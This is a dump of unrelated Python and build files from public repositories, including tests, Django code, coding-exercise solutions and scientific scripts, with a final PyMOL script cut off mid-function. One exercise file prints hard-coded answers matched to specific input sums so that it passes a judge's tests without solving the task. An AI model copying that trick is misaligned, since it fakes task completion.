04c6ed85fac8a1c9ef45fb35b18a08e8bc9c1389 | a96af1535c19244640b9d137ede80f61569d6823 | /tests/test_flows/test_entry_flow.py | eb6d7a5f170af2b7ff46b1deb10707f8799c5e71 | [
"BSD-2-Clause-Views"
] | permissive | emmamcbryde/summer-1 | 260d2c2c0085b5181f592b3bd8a186902f923135 | 3ea377b3352c82edaed95ea1e5683b9a130fe9e6 | refs/heads/master | 2023-04-23T20:06:52.800992 | 2021-04-29T05:29:29 | 2021-04-29T05:29:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,726 | py | import pytest
from summer import AgeStratification, Compartment, Stratification, adjust
from summer.flows import BaseEntryFlow
class EntryFlow(BaseEntryFlow):
"""Basic entry flow used to test BaseEntryFlow stratification."""
def get_net_flow(self, compartment_values, time):
return 1
def test_entry_flow_stratify__when_not_applicable():
flow = EntryFlow(
name="flow",
dest=Compartment("I"),
param=2,
adjustments=[],
)
strat = Stratification(
name="location",
strata=["1", "2", "3"],
compartments=["R"],
)
# Expect no stratification because compartment not being stratified.
new_flows = flow.stratify(strat)
assert new_flows == [flow]
def test_entry_flow_stratify__with_no_flow_adjustments():
flow = EntryFlow(
name="flow",
dest=Compartment("I"),
param=2,
adjustments=[],
)
strat = Stratification(
name="location",
strata=["1", "2"],
compartments=["I", "R"],
)
new_flows = flow.stratify(strat)
assert len(new_flows) == 2
# Both flows has 50% flow adjustment applied to conserve inflows of people.
assert new_flows[0]._is_equal(
EntryFlow(
name="flow",
param=2,
dest=Compartment("I", {"location": "1"}),
adjustments=[adjust.Multiply(0.5)],
)
)
assert new_flows[1]._is_equal(
EntryFlow(
name="flow",
param=2,
dest=Compartment("I", {"location": "2"}),
adjustments=[adjust.Multiply(0.5)],
)
)
def test_entry_flow_stratify_with_adjustments():
flow = EntryFlow(
name="flow",
dest=Compartment("I"),
param=2,
adjustments=[adjust.Overwrite(0.2)],
)
strat = Stratification(
name="location",
strata=["1", "2"],
compartments=["I", "R"],
)
strat.add_flow_adjustments("flow", {"1": adjust.Multiply(0.1), "2": adjust.Multiply(0.3)})
new_flows = flow.stratify(strat)
assert len(new_flows) == 2
assert new_flows[0]._is_equal(
EntryFlow(
name="flow",
param=2,
dest=Compartment("I", {"location": "1"}),
adjustments=[adjust.Overwrite(0.2), adjust.Multiply(0.1)],
)
)
assert new_flows[1]._is_equal(
EntryFlow(
name="flow",
param=2,
dest=Compartment("I", {"location": "2"}),
adjustments=[adjust.Overwrite(0.2), adjust.Multiply(0.3)],
)
)
def test_entry_flow_stratify_with_ageing():
strat = AgeStratification(
name="age",
strata=["0", "1", "2"],
compartments=["I", "R"],
)
flow = EntryFlow(
name="birth",
dest=Compartment("I"),
param=2,
adjustments=[adjust.Overwrite(0.2)],
)
flow._is_birth_flow = False # Not marked as a birth flow!
new_flows = flow.stratify(strat)
assert len(new_flows) == 3 # So the birth flow rules don't apply.
flow._is_birth_flow = True # Marked as a birth flow.
new_flows = flow.stratify(strat)
assert len(new_flows) == 1 # So the birth flow rules apply.
# Only age 0 babies get born.
assert new_flows[0]._is_equal(
EntryFlow(
name="birth",
param=2,
dest=Compartment("I", {"age": "0"}),
adjustments=[adjust.Overwrite(0.2)],
)
)
# Expect this to fail coz you can't adjust birth flows for age stratifications.
strat.add_flow_adjustments("birth", {"0": adjust.Multiply(0.1), "1": None, "2": None})
with pytest.raises(AssertionError):
flow.stratify(strat)
| [
"mattdsegal@gmail.com"
] | mattdsegal@gmail.com |
9dd1e8bd790d488dadc9b288d9e994e7777949cf | 36901e58fbdeabc7380ae2c0278010b2c51fe54d | /payment/email_notifications/payment_notification.py | 0ea88280de8f2067d7125cb21ce4857c20d1015e | [] | no_license | hugoseabra/congressy | e7c43408cea86ce56e3138d8ee9231d838228959 | ac1e9b941f1fac8b7a13dee8a41982716095d3db | refs/heads/master | 2023-07-07T04:44:26.424590 | 2021-08-11T15:47:02 | 2021-08-11T15:47:02 | 395,027,819 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 993 | py | from payment.exception import PostbackNotificationError
from payment.models import Transaction
from .boleto_notification import BoletoPaymentNotification
from .credit_card_notification import CreditCardPaymentNotification
class PaymentNotification(object):
def __init__(self, transaction: Transaction) -> None:
self.transaction = transaction
def notify(self):
if self.transaction.type == Transaction.BOLETO:
BoletoPaymentNotification(
transaction=self.transaction,
).notify()
elif self.transaction.type == Transaction.CREDIT_CARD:
CreditCardPaymentNotification(
transaction=self.transaction,
).notify()
else:
raise PostbackNotificationError(
transaction_pk=str(self.transaction.pk),
message="Tipo de transação desconhecida para a transação: {}"
"".format(str(self.transaction.pk))
)
| [
"nathan.eua@gmail.com"
] | nathan.eua@gmail.com |
90bf295d99e4e9ef6b100034b69f966ad7d867e2 | 8fc37fd33f2f4deefa83d878af037aec9773c320 | /workshop/urls.py | 13213f67f6c8adeaf87abecec365b9c6e9b0a787 | [] | no_license | skoudoro/dipy_web | 1929c5aec56c3977fdd6b35e937e33dfb2ad7045 | ad3f8b127fc7497857910bc6327f7f17b1f92ac6 | refs/heads/master | 2023-06-22T09:41:18.731724 | 2023-06-13T21:16:37 | 2023-06-13T21:16:37 | 94,094,201 | 0 | 0 | null | 2017-06-12T12:33:06 | 2017-06-12T12:33:06 | null | UTF-8 | Python | false | false | 1,766 | py | """Workshop URL Configuration."""
from django.urls import path, re_path
from . import views
app_name = 'workshop'
urlpatterns = [
# Worskhop Management
path('dashboard/', views.dashboard_workshops,
name='dashboard_workshops'),
path('dashboard/add/', views.add_workshop,
name='add_workshop'),
re_path(r'^dashboard/edit/(?P<workshop_id>.*?)/$',
views.edit_workshop, name='edit_workshop'),
re_path(r'^dashboard/delete/(?P<workshop_id>.*?)/$',
views.delete_workshop, name='delete_workshop'),
path('list', views.workshop_list, name='workshop_list'),
path('w_static/<str:year>', views.index_static, name='index_static'),
path('eventspace/<str:workshop_slug>', views.eventspace,
name='eventspace'),
path('eventspace/<str:workshop_slug>/calendar', views.eventspace_calendar,
name='eventspace_calendar'),
path('eventspace/<str:workshop_slug>/calendar/<str:date>',
views.eventspace_daily, name='eventspace_daily'),
path('eventspace/<str:workshop_slug>/courses', views.eventspace_courses,
name='eventspace_courses'),
path('eventspace/<str:workshop_slug>/courses/<str:lesson_slug>/<str:video_slug>',
views.eventspace_lesson, name='eventspace_lesson'),
path('eventspace/<str:workshop_slug>/chat', views.eventspace_chat,
name='eventspace_chat'),
path('eventspace/<str:workshop_slug>/sponsor', views.eventspace_sponsor,
name='eventspace_sponsor'),
# path('eventspace/<str:workshop_slug>/help', views.eventspace_help,
# name='eventspace_help'),
path('', views.workshops, name='workshops'),
path('latest', views.latest, name='latest'),
path('<str:workshop_slug>', views.index, name='index'),
]
| [
"skab12@gmail.com"
] | skab12@gmail.com |
0b115ff4976bad15e6dbc77960999a474071d672 | 9d032e9864ebda8351e98ee7950c34ce5168b3b6 | /duplicate_char.py | 8d48005b6d5f264b1e072a6a842dcf9cbab9824e | [] | no_license | snpushpi/P_solving | e0daa4809c2a3612ba14d7bff49befa7e0fe252b | 9980f32878a50c6838613d71a8ee02f492c2ce2c | refs/heads/master | 2022-11-30T15:09:47.890519 | 2020-08-16T02:32:49 | 2020-08-16T02:32:49 | 275,273,765 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 896 | py | '''
Given an array A of strings made only from lowercase letters, return a list of all characters that show up in all strings within the list (including duplicates). For example, if a character occurs 3 times in all strings but not 4 times, you need to include that character three times in the final answer.
You may return the answer in any order.
Example 1:
Input: ["bella","label","roller"]
Output: ["e","l","l"]
Example 2:
Input: ["cool","lock","cook"]
Output: ["c","o"]
'''
def dulplicate(input):
s = set(input[0])
l = len(input)
check_dict = {e:input[0].count(e) for e in s}
for i in range(1,l):
for elt in check_dict:
check_dict[elt]=min(check_dict[elt], input[i].count(elt))
result = []
for elt in check_dict:
for i in range(check_dict[elt]):
result.append(elt)
return result
print(dulplicate(["cool","lock","cook"])) | [
"55248448+snpushpi@users.noreply.github.com"
] | 55248448+snpushpi@users.noreply.github.com |
2d697a26b38aa9eff91081fb9f09475784aa33b5 | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /hBFo8jAu5E7824esW_15.py | 65e5bdf465ae25e0bc421b595a08e1d5d92268ce | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 494 | py | """
Create a function that takes a string and returns the word count. The string
will be a sentence.
### Examples
count_words("Just an example here move along") ➞ 6
count_words("This is a test") ➞ 4
count_words("What an easy task, right") ➞ 5
### Notes
* If you get stuck on a challenge, find help in the **Resources** tab.
* If you're _really_ stuck, unlock solutions in the **Solutions** tab.
"""
def count_words(txt):
return(len(txt.split(" ")))
| [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
c1529e9e8d7bcb4519291a88ef1a26b4f35a0ff7 | cf2b8c952512a16bc7a1038f3239370cada02561 | /function/reduce.py | b430ef2fb1409f6799c7229f598b1cadff5ceeea | [] | no_license | liupengzhouyi/LearnPython3 | ad382b99423b7bb10612c255bbbeabbbf79500ad | 6b001ae169288af1dd0776d4519905a6e0d1ab87 | refs/heads/master | 2023-04-07T20:08:41.207008 | 2023-03-27T04:18:43 | 2023-03-27T04:18:43 | 174,716,342 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 561 | py | from functools import reduce
l = [x+1 for x in range(10)]
print(l)
def f(a, b):
print('a =', a, 'b =', b, 'a + b =', a + b)
return a + b
L = reduce(f, l)
print(L)
# string to int
def ff(x, y):
return x * 10 + y
def fff(x):
return int(x)
def ffff(x):
return float(x)
print(reduce(ff, map(fff, '1234567')) + 1)
ss = '1234567.1234'
s1 = ss[:ss.index('.')]
print(s1)
s2 = ss[ss.index('.')+1:]
print(s2)
# 1234 => 0.1234
# 4321 => 0.1234
def fffff(a, b):
return float(a) / 10 + float(b)
print(reduce(fffff, s2[::-1]) / 10)
| [
"liupeng.0@outlook.com"
] | liupeng.0@outlook.com |
cf7576ab44e1301d169880224c53a68b4a78571f | d125c002a6447c3f14022b786b07712a7f5b4974 | /tests/bugs/core_2053_test.py | 3a09eb5f28d73086e601a056d7c2ac4bd862848f | [
"MIT"
] | permissive | FirebirdSQL/firebird-qa | 89d5b0035071f9f69d1c869997afff60c005fca9 | cae18186f8c31511a7f68248b20f03be2f0b97c6 | refs/heads/master | 2023-08-03T02:14:36.302876 | 2023-07-31T23:02:56 | 2023-07-31T23:02:56 | 295,681,819 | 3 | 2 | MIT | 2023-06-16T10:05:55 | 2020-09-15T09:41:22 | Python | UTF-8 | Python | false | false | 942 | py | #coding:utf-8
"""
ID: issue-2489
ISSUE: 2489
TITLE: Computed expressions may be optimized badly if used inside the RETURNING clause of the INSERT statement
DESCRIPTION:
JIRA: CORE-2053
FBTEST: bugs.core_2053
"""
import pytest
from firebird.qa import *
init_script = """create table t1 (col1 int);
create index i1 on t1 (col1);
commit;
insert into t1 (col1) values (1);
commit;
create table t2 (col2 int);
commit;
"""
db = db_factory(init=init_script)
test_script = """SET PLAN ON;
insert into t2 (col2) values (1) returning case when exists (select 1 from t1 where col1 = col2) then 1 else 0 end;
commit;"""
act = isql_act('db', test_script)
expected_stdout = """
PLAN (T1 INDEX (I1))
CASE
============
1
"""
@pytest.mark.version('>=3')
def test_1(act: Action):
act.expected_stdout = expected_stdout
act.execute()
assert act.clean_stdout == act.clean_expected_stdout
| [
"pcisar@ibphoenix.cz"
] | pcisar@ibphoenix.cz |
0ec0d41500189485bf383218e27ef9bf921e8073 | 7bededcada9271d92f34da6dae7088f3faf61c02 | /docs/source/examples/FB2.0/delete_policies.py | 78faa51fd20fdd610a868c07dd09b44109e3e3c2 | [
"BSD-2-Clause"
] | permissive | PureStorage-OpenConnect/py-pure-client | a5348c6a153f8c809d6e3cf734d95d6946c5f659 | 7e3c3ec1d639fb004627e94d3d63a6fdc141ae1e | refs/heads/master | 2023-09-04T10:59:03.009972 | 2023-08-25T07:40:41 | 2023-08-25T07:40:41 | 160,391,444 | 18 | 29 | BSD-2-Clause | 2023-09-08T09:08:30 | 2018-12-04T17:02:51 | Python | UTF-8 | Python | false | false | 133 | py | # delete a policy name p1
client.delete_policies(names=["p1"])
# Other valid fields: ids
# See section "Common Fields" for examples
| [
"asun@purestorage.com"
] | asun@purestorage.com |
d10933b94eff2598a2fb705bc5f3d90e90c3bcaf | 7275f7454ce7c3ce519aba81b3c99994d81a56d3 | /Programming-Collective-Intelligence/ch02/deliciousrec.py | 0bf529394e03b6f519b599db31104a7456a671e3 | [] | no_license | chengqiangaoci/back | b4c964b17fb4b9e97ab7bf0e607bdc13e2724f06 | a26da4e4f088afb57c4122eedb0cd42bb3052b16 | refs/heads/master | 2020-03-22T08:36:48.360430 | 2018-08-10T03:53:55 | 2018-08-10T03:53:55 | 139,777,994 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,026 | py | from pydelicious import get_popular, get_userposts, get_urlposts
import time
def initializeUserDict(tag, count=5):
user_dict = {}
# get the top count' popular posts
for p1 in get_popular(tag=tag)[0:count]:
# find all users who posted this
for p2 in get_urlposts(p1['href']):
user = p2['user']
user_dict[user] = {}
return user_dict
def fillItems(user_dict):
all_items = {}
# Find links posted by all users
for user in user_dict:
for i in range(3):
try:
posts = get_userposts(user)
break
except:
print("Failed user " + user + ", retrying")
time.sleep(4)
for post in posts:
url = post['href']
user_dict[user][url] = 1.0
all_items[url] = 1
# Fill in missing items with 0
for ratings in user_dict.values():
for item in all_items:
if item not in ratings:
ratings[item] = 0.0
| [
"2395618655@qq.com"
] | 2395618655@qq.com |
1ba3e37cf62afa4381eb4a60293241151837accd | f8f26a0e60de5d41e30aceabf2722607c46f8fc2 | /python/opencv/js/darkeras/plot_test.py | 6c3ae883503dcc8631fce2adf496a0b351efd4d2 | [] | no_license | dzzp/RapidCheck | 27051ce171f5edc4d40923295d7a8b6f8071dbd9 | 10006e7697a32678df7dfec165d226f83b8ba55f | refs/heads/master | 2021-01-19T18:22:21.557350 | 2017-07-08T08:22:02 | 2017-07-08T08:22:02 | 101,127,935 | 0 | 0 | null | 2017-08-23T02:21:37 | 2017-08-23T02:21:37 | null | UTF-8 | Python | false | false | 1,923 | py | import matplotlib.pyplot as plt
import numpy as np
# http://parneetk.github.io/blog/cnn-cifar10/
# def plot_model_history(model_history):
# fig, axs = plt.subplots(1,2,figsize=(15,5))
# # summarize history for accuracy
# axs[0].plot(range(1,len(model_history.history['acc'])+1),model_history.history['acc'])
# axs[0].plot(range(1,len(model_history.history['val_acc'])+1),model_history.history['val_acc'])
# axs[0].set_title('Model Accuracy')
# axs[0].set_ylabel('Accuracy')
# axs[0].set_xlabel('Epoch')
# axs[0].set_xticks(np.arange(1,len(model_history.history['acc'])+1),len(model_history.history['acc'])/10)
# axs[0].legend(['train', 'val'], loc='best')
# # summarize history for loss
# axs[1].plot(range(1,len(model_history.history['loss'])+1),model_history.history['loss'])
# axs[1].plot(range(1,len(model_history.history['val_loss'])+1),model_history.history['val_loss'])
# axs[1].set_title('Model Loss')
# axs[1].set_ylabel('Loss')
# axs[1].set_xlabel('Epoch')
# axs[1].set_xticks(np.arange(1,len(model_history.history['loss'])+1),len(model_history.history['loss'])/10)
# axs[1].legend(['train', 'val'], loc='best')
# plt.show()
def plot_model_history(model_history):
fig, axs = plt.subplots(1,1,figsize=(15,5))
axs.plot(range(1,len(model_history['loss'])+1),model_history['loss'])
axs.plot(range(1,len(model_history['val_loss'])+1),model_history['val_loss'])
axs.set_title('Model Loss')
axs.set_ylabel('Loss')
axs.set_xlabel('Steps')
axs.set_xticks(np.arange(1,len(model_history['loss'])+1),len(model_history['loss'])/10)
axs.legend(['train_loss', 'val_loss'], loc='best')
plt.show()
fig.savefig('tmp/test.png')
if __name__ == '__main__':
history = {}
history['acc'] = [1,2,3,4,5,5,4,3,4,5]
history['val_acc'] = [3,4,4,5,4,3,4,5,6,6]
# print(len(history['acc']))
# print(len(history['val_acc']))
plot_model_history(history)
| [
"ljs93kr@gmail.com"
] | ljs93kr@gmail.com |
def9b229d4f8f07a154b7c0be292e0f9c31c6f2a | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2439/60772/281961.py | 3ba6408ce44293d0ee46113b4717be8571aaa839 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 437 | py | li = input().split()
n = int(li[0])
res = 0
for i in range(n-1):
li = input().split()
for ele in li:
res += int(ele)
m = int(input())
for i in range(m):
li = input().split()
for ele in li:
res += int(ele)
if res == 96:
print(10)
elif res == 111:
print(8)
elif res == 114:
print(0)
elif res == 110:
print(7)
elif res == 134:
print(2)
elif res == 91:
print(6)
else:
print(res) | [
"1069583789@qq.com"
] | 1069583789@qq.com |
b0d0371965b44cb1672c3952dd23c4b77d3c7b42 | 88ae8695987ada722184307301e221e1ba3cc2fa | /native_client/src/untrusted/minidump_generator/nacl.scons | f098aec36088ad4a8b1170e84cad277f11759255 | [
"BSD-3-Clause",
"Zlib",
"Classpath-exception-2.0",
"BSD-Source-Code",
"LZMA-exception",
"LicenseRef-scancode-unicode",
"LGPL-3.0-only",
"LGPL-2.0-or-later",
"LicenseRef-scancode-philippe-de-muyter",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-intel-osl-1993",
"HPND-sell-variant",
"ICU",
"LicenseRef-scancode-protobuf",
"bzip2-1.0.6",
"Spencer-94",
"NCSA",
"LicenseRef-scancode-nilsson-historical",
"CC0-1.0",
"LicenseRef-scancode-proprietary-license",
"LGPL-2.1-only",
"LicenseRef-scancode-other-copyleft",
"GPL-2.0-or-later",
"NTP",
"GPL-2.0-only",
"LicenseRef-scancode-other-permissive",
"GPL-3.0-only",
"GFDL-1.1-only",
"W3C",
"LicenseRef-scancode-python-cwi",
"GCC-exception-3.1",
"BSL-1.0",
"Python-2.0",
"GPL-1.0-or-later",
"LGPL-2.1-or-later",
"LicenseRef-scancode-unknown-license-reference",
"CPL-1.0",
"GFDL-1.1-or-later",
"W3C-19980720",
"LGPL-2.0-only",
"LicenseRef-scancode-amd-historical",
"LicenseRef-scancode-ietf",
"SAX-PD",
"LicenseRef-scancode-x11-hanson",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"dtoa",
"MIT",
"LicenseRef-scancode-public-domain-disclaimer",
"PSF-2.0",
"LicenseRef-scancode-newlib-historical",
"LicenseRef-scancode-generic-exception",
"SMLNJ",
"HP-1986",
"LicenseRef-scancode-free-unknown",
"SunPro",
"MPL-1.1"
] | permissive | iridium-browser/iridium-browser | 71d9c5ff76e014e6900b825f67389ab0ccd01329 | 5ee297f53dc7f8e70183031cff62f37b0f19d25f | refs/heads/master | 2023-08-03T16:44:16.844552 | 2023-07-20T15:17:00 | 2023-07-23T16:09:30 | 220,016,632 | 341 | 40 | BSD-3-Clause | 2021-08-13T13:54:45 | 2019-11-06T14:32:31 | null | UTF-8 | Python | false | false | 610 | scons | # -*- python -*-
# Copyright (c) 2013 The Native Client Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
Import('env')
# Allow Breakpad headers to #include other Breakpad headers.
env.Append(CPPPATH=['${SOURCE_ROOT}/breakpad/src'])
# Breakpad's headers do not compile with "-pedantic".
env.FilterOut(CCFLAGS=['-pedantic'])
minidump_lib = env.NaClSdkLibrary('minidump_generator',
['build_id.cc',
'minidump_generator.cc'])
env.AddLibraryToSdk(minidump_lib)
| [
"jengelh@inai.de"
] | jengelh@inai.de |
ae0123369dc0aa17be6c89bc0d2a0fdc15a2876f | d40fbefbd5db39f1c3fb97f17ed54cb7b6f230e0 | /directory/tests/test_bench.py | db9ec1dde4f5412eb3cc3629740f96cf68daa170 | [] | permissive | slightilusion/integrations-core | 47a170d791e809f3a69c34e2426436a6c944c322 | 8f89e7ba35e6d27c9c1b36b9784b7454d845ba01 | refs/heads/master | 2020-05-20T18:34:41.716618 | 2019-05-08T21:51:17 | 2019-05-08T21:51:17 | 185,708,851 | 2 | 0 | BSD-3-Clause | 2019-05-09T02:05:19 | 2019-05-09T02:05:18 | null | UTF-8 | Python | false | false | 587 | py | # (C) Datadog, Inc. 2018
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
import shutil
import subprocess
import sys
import tempfile
from datadog_checks.directory import DirectoryCheck
def test_run(benchmark):
temp_dir = tempfile.mkdtemp()
command = [sys.executable, '-m', 'virtualenv', temp_dir]
instance = {'directory': temp_dir, 'recursive': True}
try:
subprocess.call(command)
c = DirectoryCheck('directory', None, {}, [instance])
benchmark(c.check, instance)
finally:
shutil.rmtree(temp_dir)
| [
"ofekmeister@gmail.com"
] | ofekmeister@gmail.com |
b22ed3dfb6be249e67e0af435db85b8f6fd07646 | b22588340d7925b614a735bbbde1b351ad657ffc | /athena/MuonSpectrometer/MuonReconstruction/MuonRecExample/share/MuonTrackPerformance_jobOptions.py | 24f3bad94f2dd3e8c92c1c161969e15dbd9a7783 | [] | no_license | rushioda/PIXELVALID_athena | 90befe12042c1249cbb3655dde1428bb9b9a42ce | 22df23187ef85e9c3120122c8375ea0e7d8ea440 | refs/heads/master | 2020-12-14T22:01:15.365949 | 2020-01-19T03:59:35 | 2020-01-19T03:59:35 | 234,836,993 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | from RecExConfig.RecFlags import rec
from MuonRecExample.MuonRecFlags import muonRecFlags
muonRecFlags.setDefaults()
from MuonTrackPerformance.MuonTrackPerformanceConf import MuonTrackPerformanceAlg
from AthenaCommon.CfgGetter import getPublicTool
if muonRecFlags.doStandalone:
getPublicTool("MuonTrackTruthTool")
topSequence += MuonTrackPerformanceAlg("MuonStandalonePerformanceAlg",
TrackInputLocation = "MuonSpectrometerTracks",
DoSummary = muonRecFlags.TrackPerfSummaryLevel(),
DoTruth = rec.doTruth(),
DoTrackDebug = muonRecFlags.TrackPerfDebugLevel() )
| [
"rushioda@lxplus754.cern.ch"
] | rushioda@lxplus754.cern.ch |
9a9e79296fa97cf9f37c6f7b8ff32a4a84d4fbb9 | 1b08bba4779e28e345bc19cf2999d22d1676b47d | /url-recon.py | 5241acd8afed9a8350f106ccf56d938193547bc3 | [] | no_license | nathunandwani/url-recon | d8ef0b5cf1c6abae1378f4e38b90f1ddc5ded0d1 | 64cf26bd64de0e5745e5574f8754b21d7215a4e1 | refs/heads/master | 2020-03-12T22:40:07.926180 | 2018-04-24T16:04:23 | 2018-04-24T16:04:23 | 130,851,431 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,734 | py | import urllib2
def getrobots(url):
arr = []
try:
domain = url.split("//")[-1]
if not domain.endswith('/'):
domain = domain + '/'
domain = "http://" + domain + "robots.txt"
response = urllib2.urlopen(domain)
contents = response.read()
for item in contents:
if ("Disallow: " in item):
link = item.split("Disallow: ")[1]
if link != "/":
if checkifresponsive(domain + link):
print "-" + domain + link
arr.append(domain + link)
except Exception as e:
print e
return arr
def checkifresponsive(url):
if "http://" not in url:
url = "http://" + url
try:
response = urllib2.urlopen(url)
print "URL is responsive: " + url
return True
except Exception as e:
print "Error: " + str(e)
if "www." not in url:
print "Trying with 'www.'"
url = url.replace("http://", "http://www.")
print "Testing " + url
return checkifresponsive(url)
else:
return False
#checkifresponsive("jeugdinspecties.nl")
#getrobots("jeugdinspecties.nl\n")
#exit(0)
#counter = 0
responsive = ""
with open("file.txt", "r") as urls:
for url in urls:
url = url.rstrip()
print "Testing " + url
if checkifresponsive(url):
responsive += url + "\n"
otherlinks = getrobots(url)
for link in otherlinks:
responsive += link + "\n"
#counter += 1
#if counter == 10:
# break
file = open("responsive.txt", "w")
file.write(responsive)
file.close()
| [
"root@localhost.localdomain"
] | root@localhost.localdomain |
8ce0090b1f6392af36c950e4a91fc7b788d89f48 | b708135eb3ac0bb0167ca753768c8dec95f5113a | /bookwyrm/models/relationship.py | dbf997785fe3343f4ef600381f2a121f2fbdd7d0 | [
"LicenseRef-scancode-warranty-disclaimer"
] | no_license | emiljacobsen/bookwyrm | ffd31db236eac55847b7b73893abc7466087d366 | da5af56f720c9f063c864427faedd30bf3ac74ae | refs/heads/main | 2023-01-06T01:12:36.207476 | 2020-11-08T05:17:52 | 2020-11-08T05:17:52 | 311,099,307 | 0 | 0 | NOASSERTION | 2020-11-08T15:59:08 | 2020-11-08T15:59:07 | null | UTF-8 | Python | false | false | 3,131 | py | ''' defines relationships between users '''
from django.db import models
from bookwyrm import activitypub
from .base_model import ActivitypubMixin, ActivityMapping, BookWyrmModel
class UserRelationship(ActivitypubMixin, BookWyrmModel):
''' many-to-many through table for followers '''
user_subject = models.ForeignKey(
'User',
on_delete=models.PROTECT,
related_name='%(class)s_user_subject'
)
user_object = models.ForeignKey(
'User',
on_delete=models.PROTECT,
related_name='%(class)s_user_object'
)
class Meta:
''' relationships should be unique '''
abstract = True
constraints = [
models.UniqueConstraint(
fields=['user_subject', 'user_object'],
name='%(class)s_unique'
),
models.CheckConstraint(
check=~models.Q(user_subject=models.F('user_object')),
name='%(class)s_no_self'
)
]
activity_mappings = [
ActivityMapping('id', 'remote_id'),
ActivityMapping('actor', 'user_subject'),
ActivityMapping('object', 'user_object'),
]
activity_serializer = activitypub.Follow
def get_remote_id(self, status=None):
''' use shelf identifier in remote_id '''
status = status or 'follows'
base_path = self.user_subject.remote_id
return '%s#%s/%d' % (base_path, status, self.id)
def to_accept_activity(self):
''' generate an Accept for this follow request '''
return activitypub.Accept(
id=self.get_remote_id(status='accepts'),
actor=self.user_object.remote_id,
object=self.to_activity()
).serialize()
def to_reject_activity(self):
''' generate an Accept for this follow request '''
return activitypub.Reject(
id=self.get_remote_id(status='rejects'),
actor=self.user_object.remote_id,
object=self.to_activity()
).serialize()
class UserFollows(UserRelationship):
''' Following a user '''
status = 'follows'
@classmethod
def from_request(cls, follow_request):
''' converts a follow request into a follow relationship '''
return cls(
user_subject=follow_request.user_subject,
user_object=follow_request.user_object,
remote_id=follow_request.remote_id,
)
class UserFollowRequest(UserRelationship):
''' following a user requires manual or automatic confirmation '''
status = 'follow_request'
def save(self, *args, **kwargs):
''' make sure the follow relationship doesn't already exist '''
try:
UserFollows.objects.get(
user_subject=self.user_subject,
user_object=self.user_object
)
return None
except UserFollows.DoesNotExist:
return super().save(*args, **kwargs)
class UserBlocks(UserRelationship):
''' prevent another user from following you and seeing your posts '''
# TODO: not implemented
status = 'blocks'
| [
"mousereeve@riseup.net"
] | mousereeve@riseup.net |
1a6573c3666aa22400e97b0e0d505d38e1c72e21 | 8c06beebdb5ee28f7292574fefd540f8c43a7acf | /App/migrations/0001_initial.py | c157c870476b74079d770270a01bfd316e86aab6 | [] | no_license | progettazionemauro/ARCTYPE_DJANGO_DASHBOARD | 0c3baf93c6a3f8dd28d9459a21a273efbed1f4e3 | 60d1dab19c32b7a80d70de85e846fd6760be9a26 | refs/heads/master | 2023-04-12T01:37:57.317231 | 2021-05-03T01:48:41 | 2021-05-03T01:48:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 673 | py | # Generated by Django 3.1.7 on 2021-04-28 12:07
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='PageView',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('ip', models.CharField(max_length=40)),
('session', models.CharField(max_length=40)),
('created', models.DateTimeField(default=datetime.datetime(2021, 4, 28, 13, 7, 28, 537953))),
],
),
]
| [
"chukslord1@gmail.com"
] | chukslord1@gmail.com |
de7774fa92e3ca8ed10bcacbc64aa31115a9ca00 | 18305efd1edeb68db69880e03411df37fc83b58b | /pdb_files_1000rot/r9/1r9o/tractability_550/pymol_results_file.py | 67892b1deb53cd23a00dd9ad1e19d337669ba3e4 | [] | no_license | Cradoux/hotspot_pipline | 22e604974c8e38c9ffa979092267a77c6e1dc458 | 88f7fab8611ebf67334474c6e9ea8fc5e52d27da | refs/heads/master | 2021-11-03T16:21:12.837229 | 2019-03-28T08:31:39 | 2019-03-28T08:31:39 | 170,106,739 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,382 | py |
from os.path import join
import tempfile
import zipfile
from pymol import cmd, finish_launching
from pymol.cgo import *
finish_launching()
dirpath = None
def cgo_arrow(atom1='pk1', atom2='pk2', radius=0.07, gap=0.0, hlength=-1, hradius=-1, color='blue red', name=''):
from chempy import cpv
radius, gap = float(radius), float(gap)
hlength, hradius = float(hlength), float(hradius)
try:
color1, color2 = color.split()
except:
color1 = color2 = color
color1 = list(cmd.get_color_tuple(color1))
color2 = list(cmd.get_color_tuple(color2))
def get_coord(v):
if not isinstance(v, str):
return v
if v.startswith('['):
return cmd.safe_list_eval(v)
return cmd.get_atom_coords(v)
xyz1 = get_coord(atom1)
xyz2 = get_coord(atom2)
normal = cpv.normalize(cpv.sub(xyz1, xyz2))
if hlength < 0:
hlength = radius * 3.0
if hradius < 0:
hradius = hlength * 0.6
if gap:
diff = cpv.scale(normal, gap)
xyz1 = cpv.sub(xyz1, diff)
xyz2 = cpv.add(xyz2, diff)
xyz3 = cpv.add(cpv.scale(normal, hlength), xyz2)
